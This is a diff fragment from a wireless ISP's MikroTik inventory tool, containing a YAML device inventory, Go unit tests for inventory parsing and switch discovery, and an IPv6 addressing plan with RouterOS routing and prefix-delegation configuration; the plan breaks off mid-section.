- {subnet: 100.64.160.0/20, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.214/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.212/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.211/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.210/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.209/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.207/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.205/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.204/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.203/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.202/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.208/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.206/32, gateway: 100.64.175.254}
|
||||||
|
- {subnet: 100.64.174.213/32, gateway: 100.64.175.254}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.175.10, mac: "78:8A:20:AC:C5:32", name: "494-Rocket 2AC Prism"}
|
||||||
|
- {ip: 10.10.175.11, mac: "58:C1:7A:75:4D:F2", name: "494 ePMP Omni"}
|
||||||
|
core:
|
||||||
|
router: 10.254.254.253
|
||||||
|
mgmt_subnet: 10.10.64.0/20
|
||||||
|
cgnat_subnets:
|
||||||
|
- {subnet: 100.64.8.0/22, gateway: 100.64.11.254}
|
||||||
|
- {subnet: 100.64.11.153/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.150/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.149/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.148/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.146/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.152/32, gateway: 100.64.11.253}
|
||||||
|
- {subnet: 100.64.11.147/32, gateway: 100.64.11.253}
|
||||||
|
access_points:
|
||||||
|
- {ip: 10.10.79.10, mac: "58:C1:7A:73:63:2E", name: "380"}
|
||||||
|
backhaul_radios:
|
||||||
|
- {ip: 10.250.1.37, mac: "F4:92:BF:DE:F5:E4", name: "380_982_ 60 LR", link: "982<->core 60GHz"}
|
||||||
|
- {ip: 10.250.1.53, mac: "1A:E8:29:1E:AD:A3", name: "380 to Culleoka 11g", link: "culleoka<->core AF11"}
|
||||||
|
- {ip: 10.250.1.61, mac: "7A:8A:20:5F:4A:68", name: "380 to New Hope", link: "newhope<->core AF11"}
|
||||||
|
- {ip: 10.250.1.90, mac: "82:2A:A8:CF:96:AF", name: "Core to climax", link: "climax<->core AF24"}
|
||||||
|
switches:
|
||||||
|
- {ip: 10.250.2.2, mac: "B8:69:F4:12:8E:F8", name: "core to office", model: "MikroTik"}
|
||||||
218
mikrotik-tool/inventory_test.go
Normal file
218
mikrotik-tool/inventory_test.go
Normal file
|
|
@ -0,0 +1,218 @@
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net/netip"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
// loadSeed prefers inventory.yaml; falls back to radios.yaml during the
|
||||||
|
// migration window. Tests use whichever the repo currently ships.
|
||||||
|
func loadSeed(t *testing.T) *seed {
|
||||||
|
t.Helper()
|
||||||
|
s, err := loadSeedInventory("inventory.yaml")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("loadSeedInventory: %v", err)
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLoadSeedInventory(t *testing.T) {
|
||||||
|
s := loadSeed(t)
|
||||||
|
wantSites := []string{"verona", "altoga", "climax", "culleoka", "newhope", "lowry", "982", "494", "core"}
|
||||||
|
if len(s.Order) != len(wantSites) {
|
||||||
|
t.Fatalf("site order = %v, want %v", s.Order, wantSites)
|
||||||
|
}
|
||||||
|
for i, name := range wantSites {
|
||||||
|
if s.Order[i] != name {
|
||||||
|
t.Fatalf("site[%d] = %q, want %q", i, s.Order[i], name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
verona := s.Sites["verona"]
|
||||||
|
if verona.Router != "10.254.254.101" {
|
||||||
|
t.Errorf("verona router = %q", verona.Router)
|
||||||
|
}
|
||||||
|
if verona.MgmtSubnet.String() != "10.10.0.0/20" {
|
||||||
|
t.Errorf("verona mgmt = %q", verona.MgmtSubnet)
|
||||||
|
}
|
||||||
|
|
||||||
|
altoga := s.Sites["altoga"]
|
||||||
|
if altoga.ParentRouter != "10.254.254.101" {
|
||||||
|
t.Errorf("altoga parent_router = %q", altoga.ParentRouter)
|
||||||
|
}
|
||||||
|
if altoga.Router != "" {
|
||||||
|
t.Errorf("altoga router = %q, want empty", altoga.Router)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Backhaul link labels indexed by /29.
|
||||||
|
climax := s.Sites["climax"]
|
||||||
|
pfx := netip.MustParsePrefix("10.250.1.24/29").Masked()
|
||||||
|
if got := climax.LinkLabels[pfx]; got != "verona<->climax AF11" {
|
||||||
|
t.Errorf("climax link for %s = %q", pfx, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTopSlash24(t *testing.T) {
|
||||||
|
cases := map[string]string{
|
||||||
|
"10.10.0.0/20": "10.10.15.0/24",
|
||||||
|
"10.10.16.0/20": "10.10.31.0/24",
|
||||||
|
"10.10.80.0/20": "10.10.95.0/24",
|
||||||
|
"10.10.96.0/20": "10.10.111.0/24",
|
||||||
|
"10.10.128.0/20": "10.10.143.0/24",
|
||||||
|
"10.10.144.0/20": "10.10.159.0/24",
|
||||||
|
"10.10.160.0/20": "10.10.175.0/24",
|
||||||
|
}
|
||||||
|
for in, want := range cases {
|
||||||
|
got := topSlash24(netip.MustParsePrefix(in))
|
||||||
|
if got.String() != want {
|
||||||
|
t.Errorf("topSlash24(%s) = %s, want %s", in, got, want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestClosestRouterIP(t *testing.T) {
|
||||||
|
owners := map[netip.Addr]*routerDiscovery{
|
||||||
|
netip.MustParseAddr("10.250.1.25"): nil,
|
||||||
|
netip.MustParseAddr("10.250.1.30"): nil,
|
||||||
|
}
|
||||||
|
got := closestRouterIP(netip.MustParseAddr("10.250.1.26"), owners)
|
||||||
|
if got.String() != "10.250.1.25" {
|
||||||
|
t.Errorf("closest to .26 = %s, want .25", got)
|
||||||
|
}
|
||||||
|
got = closestRouterIP(netip.MustParseAddr("10.250.1.29"), owners)
|
||||||
|
if got.String() != "10.250.1.30" {
|
||||||
|
t.Errorf("closest to .29 = %s, want .30", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHasCap(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
caps, want string
|
||||||
|
expect bool
|
||||||
|
}{
|
||||||
|
{"bridge", "bridge", true},
|
||||||
|
{"bridge,router", "bridge", true},
|
||||||
|
{"bridge,wlan-ap,router,station-only", "wlan-ap", true},
|
||||||
|
{"bridge,router", "wlan-ap", false},
|
||||||
|
{"", "bridge", false},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
if got := hasCap(c.caps, c.want); got != c.expect {
|
||||||
|
t.Errorf("hasCap(%q, %q) = %v, want %v", c.caps, c.want, got, c.expect)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCustomerPoolName(t *testing.T) {
|
||||||
|
want := []string{"verona-cpe", "altoga-cgnat", "cgnat", "cgnat-full", "DHCP_pool3", "customer-stuff"}
|
||||||
|
dont := []string{"verona-tower-pool", "verona-v6-pd-pool", "altoga-old"}
|
||||||
|
for _, n := range want {
|
||||||
|
if !customerPoolName(n) {
|
||||||
|
t.Errorf("customerPoolName(%q) = false, want true", n)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, n := range dont {
|
||||||
|
if customerPoolName(n) {
|
||||||
|
t.Errorf("customerPoolName(%q) = true, want false", n)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPoolRangeContains(t *testing.T) {
|
||||||
|
p := poolRange{
|
||||||
|
Lo: netip.MustParseAddr("10.10.0.1"),
|
||||||
|
Hi: netip.MustParseAddr("10.10.14.254"),
|
||||||
|
}
|
||||||
|
if !p.contains(netip.MustParseAddr("10.10.5.5")) {
|
||||||
|
t.Errorf("expected 10.10.5.5 in range")
|
||||||
|
}
|
||||||
|
if p.contains(netip.MustParseAddr("10.10.15.1")) {
|
||||||
|
t.Errorf("10.10.15.1 should be outside")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestCollectSwitches(t *testing.T) {
|
||||||
|
d := &routerDiscovery{
|
||||||
|
Router: Router{Name: "culleoka", Host: "10.254.254.104"},
|
||||||
|
OwnIP: netip.MustParseAddr("10.254.254.104"),
|
||||||
|
Addresses: []addrEntry{
|
||||||
|
// directly-connected subnets we accept switches on
|
||||||
|
{Prefix: netip.MustParsePrefix("10.10.96.0/20")},
|
||||||
|
{Prefix: netip.MustParsePrefix("100.64.24.0/22")},
|
||||||
|
},
|
||||||
|
Neighbors: []neighborEntry{
|
||||||
|
// Real Netonix switch on a directly-connected /22 — include.
|
||||||
|
{Addr: netip.MustParseAddr("100.64.27.250"), MAC: "EC:13:B2:A4:05:CA",
|
||||||
|
Identity: "Culleoka Switch", Platform: "Netonix WS-26-400-AC", Caps: "bridge"},
|
||||||
|
// AP radio — wlan-ap capability, exclude.
|
||||||
|
{Addr: netip.MustParseAddr("10.10.111.11"), MAC: "78:45:58:A2:EC:F9",
|
||||||
|
Identity: "Culleoka SE", Platform: "EPMP3000", Caps: "bridge,wlan-ap,router,station-only"},
|
||||||
|
// Customer-side LAN — outside our address space, exclude.
|
||||||
|
{Addr: netip.MustParseAddr("192.168.1.5"), MAC: "18:FD:74:8F:0C:06",
|
||||||
|
Identity: "Customer Router", Platform: "MikroTik", Caps: "bridge,router"},
|
||||||
|
// Leaked via tunnel — IP not in any directly-connected prefix, exclude.
|
||||||
|
{Addr: netip.MustParseAddr("10.250.2.2"), MAC: "B8:69:F4:12:8E:F8",
|
||||||
|
Identity: "core to office", Platform: "MikroTik", Caps: "bridge,router"},
|
||||||
|
// One of our other routers — exclude via routerIPs map.
|
||||||
|
{Addr: netip.MustParseAddr("10.254.254.253"), MAC: "64:D1:54:EF:AD:7D",
|
||||||
|
Identity: "Core", Platform: "MikroTik", Caps: "bridge,router"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
routerIPs := map[netip.Addr]bool{
|
||||||
|
netip.MustParseAddr("10.254.254.253"): true,
|
||||||
|
netip.MustParseAddr("10.254.254.104"): true,
|
||||||
|
}
|
||||||
|
switches := collectSwitches(d, routerIPs)
|
||||||
|
if len(switches) != 1 {
|
||||||
|
t.Fatalf("expected 1 switch, got %d: %+v", len(switches), switches)
|
||||||
|
}
|
||||||
|
if switches[0].Name != "Culleoka Switch" || switches[0].Model != "Netonix WS-26-400-AC" {
|
||||||
|
t.Errorf("unexpected switch: %+v", switches[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRenderYAMLSampleShape(t *testing.T) {
|
||||||
|
s := loadSeed(t)
|
||||||
|
site := &outSite{
|
||||||
|
Name: "culleoka",
|
||||||
|
Router: "10.254.254.104",
|
||||||
|
MgmtSubnet: netip.MustParsePrefix("10.10.96.0/20"),
|
||||||
|
Cgnats: []cgnat{
|
||||||
|
{Subnet: netip.MustParsePrefix("100.64.24.0/22"), Gateway: netip.MustParseAddr("100.64.27.254")},
|
||||||
|
},
|
||||||
|
AccessPoints: []outRadio{
|
||||||
|
{IP: netip.MustParseAddr("10.10.111.1"), MAC: "78:45:58:A0:03:F3", Name: "Culleoka SW AC-1"},
|
||||||
|
},
|
||||||
|
BackhaulRadios: []outRadio{
|
||||||
|
{IP: netip.MustParseAddr("10.250.1.10"), MAC: "7A:8A:20:5F:49:7A",
|
||||||
|
Name: "Culleoka to Climax 11ghz", Link: "climax<->culleoka AF11 (disabled)"},
|
||||||
|
},
|
||||||
|
Switches: []outSwitch{
|
||||||
|
{IP: netip.MustParseAddr("100.64.27.250"), MAC: "EC:13:B2:A4:05:CA",
|
||||||
|
Name: "Culleoka Switch", Model: "Netonix WS-26-400-AC"},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
body, err := renderYAML(s, []*outSite{site})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
got := string(body)
|
||||||
|
for _, want := range []string{
|
||||||
|
"sites:",
|
||||||
|
"culleoka:",
|
||||||
|
"router: 10.254.254.104",
|
||||||
|
"mgmt_subnet: 10.10.96.0/20",
|
||||||
|
"cgnat_subnet: {subnet: 100.64.24.0/22, gateway: 100.64.27.254}",
|
||||||
|
"access_points:",
|
||||||
|
`{ip: 10.10.111.1, mac: "78:45:58:A0:03:F3", name: "Culleoka SW AC-1"}`,
|
||||||
|
"backhaul_radios:",
|
||||||
|
`link: "climax<->culleoka AF11 (disabled)"`,
|
||||||
|
"switches:",
|
||||||
|
`{ip: 100.64.27.250, mac: "EC:13:B2:A4:05:CA", name: "Culleoka Switch", model: "Netonix WS-26-400-AC"}`,
|
||||||
|
} {
|
||||||
|
if !strings.Contains(got, want) {
|
||||||
|
t.Errorf("rendered yaml missing %q\n--- output ---\n%s", want, got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
838
mikrotik-tool/ipv6.md
Normal file
838
mikrotik-tool/ipv6.md
Normal file
|
|
@ -0,0 +1,838 @@
|
||||||
|
# IPv6 addressing plan — vntx WISP
|
||||||
|
|
||||||
|
**Status:** greenfield design. Any existing IPv6 on the routers (verona /40 PD
|
||||||
|
pool, climax/culleoka /52s, scattered point-to-point /128s, etc.) is to be
|
||||||
|
**deleted and replaced** with what's defined here. Don't try to migrate it.
|
||||||
|
|
||||||
|
**Allocation:** `2606:1c80::/32` (already advertised to TWC AS11427 from
|
||||||
|
`edge`, peer `2605:6000:0:8::f:372`).
|
||||||
|
|
||||||
|
**Customer prefix:** **`/56`** per PPPoE session via DHCPv6-PD. A /56 lets
|
||||||
|
customer CPE subnet into 256 /64s (LAN, guest, IoT, VPN, etc.) — the
|
||||||
|
operationally sane default that matches RIPE-690 / BCOP-690 guidance.
|
||||||
|
Customer CPE that only knows /64 still works fine — RouterOS hands out
|
||||||
|
the /56 and the CPE configures the first /64 from it. No NAT66.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Top-level carve
|
||||||
|
|
||||||
|
`2606:1c80::/32` is sliced into two purposes:
|
||||||
|
|
||||||
|
| Block | Size | Purpose |
|
||||||
|
|-------------------------------|-------|--------------------------------------|
|
||||||
|
| `2606:1c80::/48` | /48 | **Infrastructure** — loopbacks, P2P, transit |
|
||||||
|
| `2606:1c80:1::/48` – `2606:1c80:FFF::/48` | (reserved) | extra infra room |
|
||||||
|
| `2606:1c80:1000::/36` | /36 | **Tower allocations** — one **/44** per tower |
|
||||||
|
| `2606:1c80:2000::/36` and higher | bulk | reserved (future expansion) |
|
||||||
|
|
||||||
|
The tower block `2606:1c80:1000::/36` holds **256 /44s** (4 096 /44s
|
||||||
|
fits in a /32 minus the infra pad). At one /44 per tower, that's 256
|
||||||
|
towers worth of allocations — far more than you'll ever build.
|
||||||
|
|
||||||
|
Why /44 per tower? Each /44 = 16 /48s = **4 096 /56s**. Subtract one /48
|
||||||
|
for tower infra (mgmt, APs, etc.) and you have **3 840 /56 customers per
|
||||||
|
tower**, comfortably above the ~4 000-IP v4 CGNAT capacity per tower.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Infrastructure block — `2606:1c80::/48`
|
||||||
|
|
||||||
|
Subdivided into /64s, indexed by purpose. Servers get the prime
|
||||||
|
all-zeros /64 so their addresses are as short as the allocation allows;
|
||||||
|
loopbacks and P2P links shift down to make room.
|
||||||
|
|
||||||
|
| Prefix | Use |
|
||||||
|
|-----------------------------------------|--------------------------------------------------|
|
||||||
|
| `2606:1c80::/64` | **Core servers** — DNS, NTP, monitoring, billing, internal services (static-only, no SLAAC). Lives at 380 (core); see below. |
|
||||||
|
| `2606:1c80:0:1::/64` … `:F::/64` | reserved server expansion (DMZ, hypervisor mgmt, alt server VLANs) |
|
||||||
|
| `2606:1c80:0:10::/64` | **Loopbacks** — one `/128` per router |
|
||||||
|
| `2606:1c80:0:11::/64` … `:1F::/64` | **Wired backbone P2P links** — one `/64` per link, addressed as `/127` |
|
||||||
|
| `2606:1c80:0:20::/64` … `:FF::/64` | **Wireless backhaul P2P links** — one `/64` per link, addressed as `/127` |
|
||||||
|
| `2606:1c80:0:1000::/64` | Edge↔TWC transit (already `2605:6000:…` upstream; this slot is for future v6 transit/IX) |
|
||||||
|
| `2606:1c80:0:1001::/64` | Edge↔Spectrum / secondary upstream |
|
||||||
|
| `2606:1c80:0:1002::/64` | Edge↔Preseem (shaper) |
|
||||||
|
| `2606:1c80:0:2000::/64` … `:2FFF::/64` | OOB / mgmt-VLAN-of-routers (one /64 per site, optional) |
|
||||||
|
| `2606:1c80:0:F000::/64` and up | reserved (future infra) |
|
||||||
|
|
||||||
|
### Servers — `2606:1c80::/64`
|
||||||
|
|
||||||
|
The single server LAN for the entire network, located at the **380**
|
||||||
|
site and hosted on the **edge** router (the server switch is plugged
|
||||||
|
into edge's `sfp-sfpplus8-server-switch` port, VLAN 9, same as the
|
||||||
|
existing v4 server LAN on `vlan9_sfpplus8`). Gateway:
|
||||||
|
**`2606:1c80::1/64`**. RA is **disabled** — servers get static
|
||||||
|
addresses, not SLAAC. Stateful DHCPv6 is optional; prefer static config
|
||||||
|
for server-class hosts.
|
||||||
|
|
||||||
|
Suggested numbering mirrors the v4 `204.110.191.X` last-octet so the
|
||||||
|
two are easy to translate by sight:
|
||||||
|
|
||||||
|
| v4 host | v6 host | Role |
|
||||||
|
|---------------------|----------------------|-------------------------|
|
||||||
|
| `204.110.191.20` | `2606:1c80::20` | DNS resolver (primary) |
|
||||||
|
| `204.110.191.240` | `2606:1c80::240` | DNS resolver (secondary) |
|
||||||
|
| `204.110.191.250` | `2606:1c80::250` | DNS resolver (tertiary) |
|
||||||
|
| `204.110.191.19` | `2606:1c80::19` | NTP |
|
||||||
|
|
||||||
|
`2606:1c80:0:1::/64` through `:F::/64` are reserved server expansion
|
||||||
|
slots (DMZ, hypervisor mgmt, alternate server VLANs) — populate them
|
||||||
|
only when there's a concrete need.
|
||||||
|
|
||||||
|
### Loopbacks (`2606:1c80:0:10::/64`)
|
||||||
|
|
||||||
|
One `/128` per router, all inside `2606:1c80:0:10::/64`. To keep the v6
|
||||||
|
loopback visually parallel to the v4 loopback (`10.254.254.X`), encode
|
||||||
|
the v4 last octet as the **last hextet, treated as hex** (so
|
||||||
|
`:10::101` is the v6 loopback for the router whose v4 loopback is
|
||||||
|
`10.254.254.101`). Visual mnemonic, not a numeric identity.
|
||||||
|
|
||||||
|
| Router | v4 loopback | v6 loopback |
|
||||||
|
|-----------|-----------------|--------------------------|
|
||||||
|
| verona | 10.254.254.101 | `2606:1c80:0:10::101/128` |
|
||||||
|
| climax | 10.254.254.102 | `2606:1c80:0:10::102/128` |
|
||||||
|
| culleoka | 10.254.254.104 | `2606:1c80:0:10::104/128` |
|
||||||
|
| newhope | 10.254.254.108 | `2606:1c80:0:10::108/128` |
|
||||||
|
| lowry | 10.254.254.109 | `2606:1c80:0:10::109/128` |
|
||||||
|
| 982 | 10.254.254.110 | `2606:1c80:0:10::110/128` |
|
||||||
|
| 494 | 10.254.254.111 | `2606:1c80:0:10::111/128` |
|
||||||
|
| core | 10.254.254.253 | `2606:1c80:0:10::253/128` |
|
||||||
|
| edge | 10.254.254.254 | `2606:1c80:0:10::254/128` |
|
||||||
|
|
||||||
|
Loopbacks announce into OSPFv3 only.
|
||||||
|
|
||||||
|
### Inter-router P2P links (`2606:1c80:0:11::/64` … `:FF::/64`)
|
||||||
|
|
||||||
|
One `/64` per physical/logical link, addressed as `/127` between the two
|
||||||
|
ends. Numbering follows the existing v4 `/29` transport scheme.
|
||||||
|
Wired/fiber transport uses `:11::`–`:1F::`; wireless backhaul uses
|
||||||
|
`:20::`+. (`:10::/64` is the loopback /64.)
|
||||||
|
|
||||||
|
| Link | v4 /29 | v6 /64 | Endpoints (`/127`) |
|
||||||
|
|----------------------------|---------------------|-------------------------|---------------------------------------------|
|
||||||
|
| edge ↔ core (sfpplus7) | 204.110.191.180/30 | `2606:1c80:0:11::/64` | `…:11::1` edge / `…:11::2` core |
|
||||||
|
| core ↔ climax (ether5) | 10.250.1.88/29 | `2606:1c80:0:12::/64` | `…:12::1` core / `…:12::2` climax |
|
||||||
|
| core ↔ newhope (ether4) | 10.250.1.56/29 | `2606:1c80:0:13::/64` | `…:13::1` core / `…:13::2` newhope |
|
||||||
|
| core ↔ 982 (ether1) | 10.250.1.32/29 | `2606:1c80:0:14::/64` | `…:14::1` core / `…:14::2` 982 |
|
||||||
|
| core ↔ culleoka (ether6) | 10.250.1.48/29 | `2606:1c80:0:15::/64` | `…:15::1` core / `…:15::2` culleoka |
|
||||||
|
| verona ↔ climax (11 GHz) | (existing v6 in use)| `2606:1c80:0:20::/64` | `…:20::1` verona / `…:20::2` climax |
|
||||||
|
| climax ↔ culleoka (11 GHz) | — | `2606:1c80:0:21::/64` | `…:21::1` climax / `…:21::2` culleoka |
|
||||||
|
| climax ↔ 494 (ether5) | 10.250.1.64/29 | `2606:1c80:0:17::/64` | `…:17::1` climax / `…:17::2` 494 |
|
||||||
|
| newhope ↔ lowry (ether6) | 10.250.1.104/29 | `2606:1c80:0:18::/64` | `…:18::1` newhope / `…:18::2` lowry |
|
||||||
|
|
||||||
|
Pick the next free `:NN::/64` (wired in `:11::`–`:1F::`, wireless in
|
||||||
|
`:20::`+) when adding a link; record it here.
|
||||||
|
|
||||||
|
The existing `2606:1c80:0:1010::/64` and `2606:1c80:0:0010::/64` get
|
||||||
|
**deleted** and replaced with `:20::` and `:21::` respectively (note
|
||||||
|
that the new `:10::/64` slot is now the loopback /64, not a P2P link).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tower block — `2606:1c80:1000::/36`
|
||||||
|
|
||||||
|
One **`/44`** per tower. The third hextet of the /44 encodes the v4
|
||||||
|
mgmt /20's third octet as `1<oct-hex>0`, so you can map between v4 and
|
||||||
|
v6 by sight:
|
||||||
|
|
||||||
|
| Tower | v4 mgmt | v4 third oct (hex) | v6 /44 | Inverse mnemonic |
|
||||||
|
|------------|------------------|--------------------|-------------------------|------------------|
|
||||||
|
| verona | 10.10.0.0/20 | 0 (`0x00`) | `2606:1c80:1000::/44` | `100` |
|
||||||
|
| climax | 10.10.16.0/20 | 16 (`0x10`) | `2606:1c80:1100::/44` | `110` |
|
||||||
|
| 982 | 10.10.48.0/20 | 48 (`0x30`) | `2606:1c80:1300::/44` | `130` |
|
||||||
|
| core (380) | 10.10.64.0/20 | 64 (`0x40`) | `2606:1c80:1400::/44` | `140` |
|
||||||
|
| altoga | 10.10.80.0/20 | 80 (`0x50`) | `2606:1c80:1500::/44` | `150` |
|
||||||
|
| culleoka | 10.10.96.0/20 | 96 (`0x60`) | `2606:1c80:1600::/44` | `160` |
|
||||||
|
| newhope | 10.10.128.0/20 | 128 (`0x80`) | `2606:1c80:1800::/44` | `180` |
|
||||||
|
| lowry | 10.10.144.0/20 | 144 (`0x90`) | `2606:1c80:1900::/44` | `190` |
|
||||||
|
| 494 | 10.10.160.0/20 | 160 (`0xA0`) | `2606:1c80:1A00::/44` | `1A0` |
|
||||||
|
|
||||||
|
Slots not in the table (`2606:1c80:1010::/44`, `:1020::/44`, `:1200::/44`,
|
||||||
|
…) are **reserved**. New tower at `10.10.176.0/20` (`0xB0`) takes
|
||||||
|
`2606:1c80:1B00::/44`. Don't reuse out of band.
|
||||||
|
|
||||||
|
Altoga is logical-satellite of verona but gets its own /44 — it serves
|
||||||
|
its own customer base off `ether6-switch` on the verona router and the
|
||||||
|
v4 plan already treats it as independent. Easier to operate as a peer.
|
||||||
|
|
||||||
|
### Per-tower /44 layout
|
||||||
|
|
||||||
|
Each /44 = 16 /48s. The first /48 is tower infra; the other 15 carry
|
||||||
|
customer /56s.
|
||||||
|
|
||||||
|
| Sub-prefix | Use |
|
||||||
|
|-------------------------------------------|---------------------------------------------------------|
|
||||||
|
| `2606:1c80:NNN0::/48` | **Tower infrastructure** |
|
||||||
|
| ↳ `2606:1c80:NNN0::/64` | Router-side mgmt LAN (RA + DHCPv6 stateless) |
|
||||||
|
| ↳ `2606:1c80:NNN0:F::/64` | Access points (mirrors v4 top-`/24`-of-`/20` rule) |
|
||||||
|
| ↳ `2606:1c80:NNN0:1::/64`–`:E::/64` | reserved (extra VLANs, IoT, voice, monitoring) |
|
||||||
|
| ↳ `2606:1c80:NNN0:10::/64`–`:FF::/64` | reserved (sub-tower/repeater /64s) |
|
||||||
|
| `2606:1c80:NNN1::/48` | **Customer PD pool slot 1** — 256 × /56 |
|
||||||
|
| `2606:1c80:NNN2::/48` | Customer PD pool slot 2 — instantiate when 1 fills |
|
||||||
|
| `2606:1c80:NNN3::/48` … `2606:1c80:NNNF::/48` | Customer pool slots 3–15 (instantiate as needed) |
|
||||||
|
|
||||||
|
Servers are **not** allocated per-tower — there's a single dedicated
|
||||||
|
core-servers /64 in the infrastructure block (see below). Towers don't
|
||||||
|
host server-class hosts.
|
||||||
|
|
||||||
|
Customer capacity per tower: **15 × 256 = 3 840 /56s**.
|
||||||
|
|
||||||
|
The router itself uses `2606:1c80:NNN0::1/64` on the mgmt LAN (mirrors
|
||||||
|
the v4 `.X.254` gateway convention but moved to `::1` for v6 since
|
||||||
|
`::1` is what humans type). APs autoconfig EUI-64 inside `:NNN0:F::/64`;
|
||||||
|
when you need a known address, use `:F::1` … `:F::FF`.
|
||||||
|
|
||||||
|
|
||||||
|
**Operational note on pool growth.** Start each tower with one customer
|
||||||
|
pool (`:NNN1::/48`, prefix-length=56 → 256 /56s). When the pool drops
|
||||||
|
below ~30 free /56s, add the next one (`:NNN2::/48` → next 256 /56s) as
|
||||||
|
a second pool and assign it to the same PPP profile. RouterOS will draw
|
||||||
|
from any pool the profile references. Each pool drop is a `/ipv6 pool
|
||||||
|
add` — no PPPoE disruption.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Routing
|
||||||
|
|
||||||
|
### IGP — OSPFv3
|
||||||
|
|
||||||
|
Edge already runs OSPFv3 in area `backbone`. Every router gets:
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/routing ospf-v3 instance
|
||||||
|
add name=default-v3 router-id=<v4-loopback> redistribute-connected=as-type-1
|
||||||
|
|
||||||
|
/routing ospf-v3 interface
|
||||||
|
add area=backbone interface=<each-transit-interface> network-type=point-to-point
|
||||||
|
```
|
||||||
|
|
||||||
|
Loopbacks and connected /64s redistribute as type-1. Customer PD
|
||||||
|
allocations do **not** redistribute into OSPF — they're on-link via the
|
||||||
|
PPPoE interface, and edge/core learn aggregates via iBGP.
|
||||||
|
|
||||||
|
### iBGP — `/44` aggregates → edge
|
||||||
|
|
||||||
|
Each tower router peers iBGP with `edge` (and optionally `core` as a
|
||||||
|
route-reflector if you want to scale; today direct works fine) over its
|
||||||
|
loopback. Peer config on every tower:
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/routing bgp instance
|
||||||
|
set default as=<your-ASN> router-id=<v4-loopback>
|
||||||
|
|
||||||
|
/routing bgp peer
|
||||||
|
add address-families=ipv6 name=ibgp-edge \
|
||||||
|
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
|
||||||
|
update-source=lo multihop=yes
|
||||||
|
|
||||||
|
/routing bgp network
|
||||||
|
add network=2606:1c80:NNN0::/44 synchronize=no
|
||||||
|
```
|
||||||
|
|
||||||
|
Edge already has `2606:1c80::/32` in its `/routing bgp network`, which
|
||||||
|
covers all towers — that aggregate goes upstream to TWC. The per-tower
|
||||||
|
`/44`s announced over iBGP are for **internal** longest-match so traffic
|
||||||
|
returning into the network can find the right tower without flooding the
|
||||||
|
default through the IGP.
|
||||||
|
|
||||||
|
(If iBGP feels overkill, OSPFv3 redistribution of the per-tower /44
|
||||||
|
works too. iBGP scales better and matches your v4 structure.)
|
||||||
|
|
||||||
|
### Customer PD — DHCPv6-PD on PPPoE (/56 per session)
|
||||||
|
|
||||||
|
On each tower router:
|
||||||
|
|
||||||
|
```rsc
|
||||||
|
/ipv6 pool
|
||||||
|
add name=<tower>-cust-pd-1 prefix=2606:1c80:NNN1::/48 prefix-length=56
|
||||||
|
|
||||||
|
/ppp profile
|
||||||
|
set [find name=<pppoe-profile>] \
|
||||||
|
remote-ipv6-prefix-pool=<tower>-cust-pd-1 \
|
||||||
|
dhcpv6-pd-pool=<tower>-cust-pd-1
|
||||||
|
|
||||||
|
/ipv6 dhcp-server
|
||||||
|
add name=<tower>-pd interface=<tower-bridge> \
|
||||||
|
address-pool=<tower>-cust-pd-1
|
||||||
|
```
|
||||||
|
|
||||||
|
Each PPPoE session gets a single `/56` from the pool, delegated via
|
||||||
|
DHCPv6-PD. CPE configures `/64`s out of it on its LANs.
|
||||||
|
|
||||||
|
### Mgmt-LAN / wired customers (no PPPoE)
|
||||||
|
|
||||||
|
For the wired mgmt LAN at each tower (`2606:1c80:NNN0::/64`), use
|
||||||
|
SLAAC + RDNSS:
|
||||||
|
|
||||||
|
